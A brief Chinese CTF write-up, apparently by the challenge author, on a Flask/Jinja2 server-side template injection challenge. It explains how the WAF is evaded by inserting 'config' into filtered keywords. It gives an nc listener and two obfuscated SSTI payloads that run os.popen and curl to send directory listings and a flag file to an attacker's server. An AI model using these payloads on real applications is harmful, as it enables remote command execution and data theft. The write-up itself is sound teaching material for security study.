SSTI注入,简单记录一下(config)

输入数据有回显,看返回头是python写的后台,猜测有SSTI(加了个php模式的报错和index.php路由不知道有没有骗到某个师傅–) 然后接下来是绕WAF,我写了两个过滤,一个强过滤是匹配{{和}},目的是想让各位师傅用远程SSTI把flag打到自己服务器上。

然后是一个简单的单词匹配过滤os等敏感字符,只要FUZZ一下,再实验一下,会找到config这个大多数poc都用不上且过滤排在较后,可以用来绕过过滤。

服务器监听 nc -lvp port

根目录查flag: {% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclasconfigses__()[59].__init__.func_glconfigobals.linecconfigache.oconfigs.popconfigen('curl http://yourip:port/ -d ls / | grep flag;') %}1{% endiconfigf %}
读flag:
{% iconfigf ''.__claconfigss__.__mconfigro__[2].__subclasconfigses__()[59].__init__.func_glconfigobals.linecconfigache.oconfigs.popconfigen('curl http://yourip:port/ -d cat /flag_1s_Hera;') %}1{% endiconfigf %}

自己看到的较好的介绍链接~~
Python模板注入(SSTI)深入学习
Flask/Jinja2模板注入中的一些绕过姿势

另外值得关注的一些知识点~~
SSTI检测顺序
SSTI注入,简单记录一下(config)_第1张图片github上的ssti(超级全面~~)

你可能感兴趣的:(ctf)